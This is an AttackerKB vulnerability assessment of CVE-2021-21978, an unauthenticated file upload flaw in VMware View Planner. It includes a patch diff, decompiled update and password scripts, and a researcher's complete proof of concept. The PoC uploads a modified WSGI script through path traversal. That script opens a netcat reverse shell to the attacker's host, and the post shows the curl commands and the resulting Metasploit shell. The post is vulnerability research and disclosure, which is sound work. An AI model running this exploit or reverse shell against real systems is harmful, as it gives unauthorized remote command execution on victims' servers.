CVE-2021-21978

2021-03-03T00:00:00
ID AKB:EB5B0C32-6562-4AE0-88C2-B251A8414685
Type attackerkb
Reporter AttackerKB
Modified 2021-03-11T00:00:00

Description

VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability. Improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container.

Recent assessments:

wvu-r7 at March 04, 2021 3:30am UTC reported:

Quick patch diff below. Note the added auth and path traversal protection.

--- log_upload_wsgi.unpatched.py    2021-03-03 20:18:16.000000000 -0600
+++ log_upload_wsgi.patched.py  2021-03-03 20:18:24.000000000 -0600
@@ -1,104 +1,129 @@
 #! /usr/bin/env python3
 import cgi
 import os,sys
 import logging
 import json
+import configparser
+import hashlib

 WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip"

 class LogFileJson:
     """ Defines format to upload log file in harness

     Arguments:
     itrLogPath : log path provided by harness to store log data
     logFileType : Type of log file defined in api.agentlogFileType
     workloadID [OPTIONAL] : workload id, if log file is workload specific

     """
     def __init__(self, itrLogPath, logFileType, workloadID = None):
         self.itrLogPath = itrLogPath
         self.logFileType = logFileType
         self.workloadID = workloadID

     def to_json(self):
         return json.dumps(self.__dict__)

     @classmethod
     def from_json(cls, json_str):
         json_dict = json.loads(json_str)
         return cls(**json_dict)

 class agentlogFileType():
     """ Defines various log file types to be uploaded by agent

     """
     WORKLOAD_ZIP_LOG = "workloadLogsZipFile"

 try:
     # TO DO: Puth path in some config
     logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
 except:
     # In case write permission is not available in log folder.
     pass

 logger = logging.getLogger('log_upload_wsgi.py')

 def application(environ, start_response):
     logger.debug("application called")

+    # TO DO: Puth path in some config or read from config is already available
+    resultBasePath = "/etc/httpd/html/vpresults"
+    config_path = "/etc/httpd/conf/wsgi_config/wsgi.config"
+    # Reading configuration
+    try:
+        config = configparser.ConfigParser()
+        config.read(config_path)
+        secret_key = config["apache"]["key"].strip()
+    except Exception as e:
+        body = u"Exception {}".format(str(e))
+        start_response(
+            '400 fail',
+            [
+                ('Content-type', 'text/html; charset=utf8'),
+                ('Content-Length', str(len(body))),
+            ]
+        )
+        return [body.encode('utf8')]
+
     if environ['REQUEST_METHOD'] == 'POST':
         post = cgi.FieldStorage(
             fp=environ['wsgi.input'],
             environ=environ,
             keep_blank_values=True
         )
-        # TO DO: Puth path in some config or read from config is already available
-        resultBasePath = "/etc/httpd/html/vpresults"
         try:
             filedata = post["logfile"]
             metaData = post["logMetaData"]
-
-            if metaData.value:
-                logFileJson = LogFileJson.from_json(metaData.value)
-
-            if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
-                os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
-
-            if filedata.file:
-                if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
-                    filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
-                else:
-                    filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
-                with open(filePath, 'wb') as output_file:
-                    while True:
-                        data = filedata.file.read(1024)
-                        # End of file
-                        if not data:
-                            break
-                        output_file.write(data)
-
-                body = u" File uploaded successfully."
-                start_response(
-                    '200 OK',
-                    [
-                        ('Content-type', 'text/html; charset=utf8'),
-                        ('Content-Length', str(len(body))),
-                    ]
-                )
-                return [body.encode('utf8')]
+            password = post["password"]
+            if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key:
+                if metaData.value:
+                    logFileJson = LogFileJson.from_json(metaData.value)
+
+                dir_path = os.path.normpath(os.path.join(resultBasePath, logFileJson.itrLogPath))
+                if not os.path.exists(dir_path) and dir_path.startswith(resultBasePath):
+                    os.makedirs(dir_path)
+
+                if filedata.file:
+                    if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
+                        filePath = os.path.join(dir_path, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
+                    else:
+                        filePath = os.path.join(dir_path, logFileJson.logFileType)
+
+                    filePath = os.path.normpath(filePath)
+                    if filePath.startswith(resultBasePath):
+                        with open(filePath, 'wb') as output_file:
+                            while True:
+                                data = filedata.file.read(1024)
+                                # End of file
+                                if not data:
+                                    break
+                                output_file.write(data)
+
+                        body = u" File uploaded successfully."
+                        start_response(
+                            '200 OK',
+                            [
+                                ('Content-type', 'text/html; charset=utf8'),
+                                ('Content-Length', str(len(body))),
+                            ]
+                        )
+                        return [body.encode('utf8')]

         except Exception as e:
             logger.error("Exception {}".format(str(e)))
             body = u"Exception {}".format(str(e))
     else:
         logger.error("Invalid request")
         body = u"Invalid request"

+    body = u"Invalid request"
     start_response(
         '400 fail',
         [
             ('Content-type', 'text/html; charset=utf8'),
             ('Content-Length', str(len(body))),
         ]
     )
     return [body.encode('utf8')]

I have reproduced RCE with a personal PoC. I’m not sure about the “secret key” they added, but I think it’s changed as part of the update.

wvu@kharak:~/Downloads/vp_4.6_sp1/harness$ cat wsgi.config
[apache]
key = vmware-viewplanner-ca$hc0w
wvu@kharak:~/Downloads/vp_4.6_sp1/harness$

We’ll see once I find time to test the patched version. I can confirm that RCE is within a Docker container. I haven’t looked for LPE yet.

ETA: Someone else released their PoC, so here is mine in full:

wvu@kharak:~/Downloads$ curl -kO https://192.168.123.183/wsgi_log_upload/log_upload_wsgi.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3596  100  3596    0     0   121k      0 --:--:-- --:--:-- --:--:--  121k
wvu@kharak:~/Downloads$ cp log_upload_wsgi.py log_upload_wsgi.py.bak
wvu@kharak:~/Downloads$ vi log_upload_wsgi.py
wvu@kharak:~/Downloads$ diff -u log_upload_wsgi.py.bak log_upload_wsgi.py
--- log_upload_wsgi.py.bak  2021-03-04 17:41:15.000000000 -0600
+++ log_upload_wsgi.py  2021-03-04 17:41:35.000000000 -0600
@@ -90,6 +90,8 @@
         except Exception as e:
             logger.error("Exception {}".format(str(e)))
             body = u"Exception {}".format(str(e))
+    elif environ["REQUEST_METHOD"] == "HACK":
+        os.system("mkfifo /tmp/hmwfq; nc 192.168.123.1 4444 0</tmp/hmwfq | /bin/sh >/tmp/hmwfq 2>&1; rm /tmp/hmwfq")
     else:
         logger.error("Invalid request")
         body = u"Invalid request"
wvu@kharak:~/Downloads$ curl -k https://192.168.123.183/logupload -F logfile=@log_upload_wsgi.py -F 'logMetaData={"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}'
 File uploaded successfully.wvu@kharak:~/Downloads$ curl -kX HACK https://192.168.123.183/logupload
^C
wvu@kharak:~/Downloads$ curl -k https://192.168.123.183/logupload -F "logfile=@log_upload_wsgi.py.bak; filename=log_upload_wsgi.py" -F 'logMetaData={"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}'
 File uploaded successfully.wvu@kharak:~/Downloads$



msf6 exploit(multi/handler) > run

[+] mkfifo /tmp/hmwfq; nc 192.168.123.1 4444 0</tmp/hmwfq | /bin/sh >/tmp/hmwfq 2>&1; rm /tmp/hmwfq
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.183:57562) at 2021-03-04 17:41:59 -0600

id
uid=25(apache) gid=25(apache) groups=25(apache),
uname -a
Linux 8cfebb27995a 4.9.137-1.ph2 #1-photon SMP Tue Nov 20 14:26:55 UTC 2018 x86_64

ETA: Here’s the decompiled update script:

import sys, os, configparser, shutil, time
cwd = os.path.dirname(os.path.realpath(__file__))
sys.path.append(cwd)
import change_password
print('Starting Update')
wsgi_path_old = '/root/viewplanner/httpd/wsgi_log_upload/'
wsgi_path_new = '/root/viewplanner/log_upload_app'
wsgi_file = 'log_upload_wsgi.py'
config_path = '/root/viewplanner/apache_config/wsgi_config'
version_file = '/root/viewplanner/version.txt'
httpd_conf_path = '/root/viewplanner/apache_config/httpd.conf'
try:
    print('Updating config')
    if not os.path.exists(config_path):
        os.makedirs(config_path)
    os.system('cp ' + os.path.join(cwd, 'wsgi.config') + ' ' + config_path)
except Exception as e:
    print('Updating config Failed!! {}'.format(e))
    sys.exit(1)

try:
    print('Updating wsgi')
    if not os.path.exists(wsgi_path_new):
        os.makedirs(wsgi_path_new)
    shutil.copy(os.path.join(cwd, wsgi_file), wsgi_path_new)
    httpd_conf = ''
    with open(httpd_conf_path, 'r') as (fp):
        httpd_conf = fp.read()
    os.system('chmod -R o+x ' + wsgi_path_new)
    httpd_conf = httpd_conf.replace('WSGIScriptAlias /logupload /etc/httpd/html/wsgi_log_upload/log_upload_wsgi.py', '<Directory /root/app>\n    Require all granted\n</Directory>\nWSGIScriptAlias /logupload /root/app/log_upload_wsgi.py')
    with open(httpd_conf_path, 'w') as (fp):
        fp.write(httpd_conf)
    os.system('docker rm -f appacheServer')
    if os.path.exists(wsgi_path_old):
        shutil.rmtree(wsgi_path_old)
    os.system('docker run --restart on-failure --name appacheServer -p 80:80 -p 443:443 -v /root/viewplanner/apache_config:/etc/httpd/conf -v ' + wsgi_path_new + ':/root/app -v /root/viewplanner/httpd:/etc/httpd/html -d httpd_python_wsgi:1.0')
    time.sleep(10)
    os.system('docker exec -it appacheServer chmod a+x /root')
    os.system('docker restart appacheServer')
    os.system('docker exec -it appacheServer chmod -R 777 /etc/httpd/html')
    os.system('docker exec -it appacheServer chmod -R 777 /etc/httpd/conf/wsgi_config/wsgi.config')
    os.system('chmod -R o+x ' + config_path)
    os.system('chmod 644 ' + os.path.join(config_path, 'wsgi.config'))
except Exception as e:
    print('Updating wsgi location failed!! {}'.format(e))
    sys.exit(1)

change_password.set_password()
try:
    print('Updating version')
    current_version = ''
    with open(version_file, 'r') as (fp):
        current_version = fp.read()
    if '-sp1' not in current_version:
        current_version = current_version + '-sp1'
        with open(version_file, 'w') as (fp):
            fp.write(current_version)
except Exception as e:
    print('Updating version failed!! {}'.format(e))
    sys.exit(1)

print('Update Completed')

And the password script…

import sys, hashlib, configparser, getpass, hashlib
config_file = '/root/viewplanner/apache_config/wsgi_config/wsgi.config'
try:
    config = configparser.ConfigParser()
    config.read(config_file)
except Exception as e:
    body = 'Exception {}'.format(str(e))
    sys.exit(1)

def verify_current():
    password = getpass.getpass(prompt='Enter current Password: ')
    if hashlib.sha256(password.encode('utf8')).hexdigest() != config['apache']['key']:
        return False
    else:
        return True


def set_password():
    password = getpass.getpass(prompt='Enter new Password: ')
    re_password = getpass.getpass(prompt='Re-enter new Password: ')
    if password != re_password:
        print('Password mismatch!!!')
        sys.exit(1)
    try:
        hashed_password = hashlib.sha256(password.encode('utf8')).hexdigest()
    except Exception as e:
        print('Password Update failed!!! {}'.format(e))
        sys.exit(1)

    try:
        config['apache']['key'] = hashed_password
        with open(config_file, 'w') as (fp):
            config.write(fp)
    except Exception as e:
        config.add_section('apache')
        config.set('apache', 'key', hashed_password)
        with open(config_file, 'w') as (fp):
            config.write(fp)

    print('Password changed successfully')


if __name__ == '__main__':
    if not verify_current():
        print('Failed to verify password!!!')
    else:
        set_password()

Still haven’t found time to test the patch, but it’s in @gwillcox-r7’s good hands now!

Assessed Attacker Value: 3
Assessed Attacker Value: 3Assessed Attacker Value: 5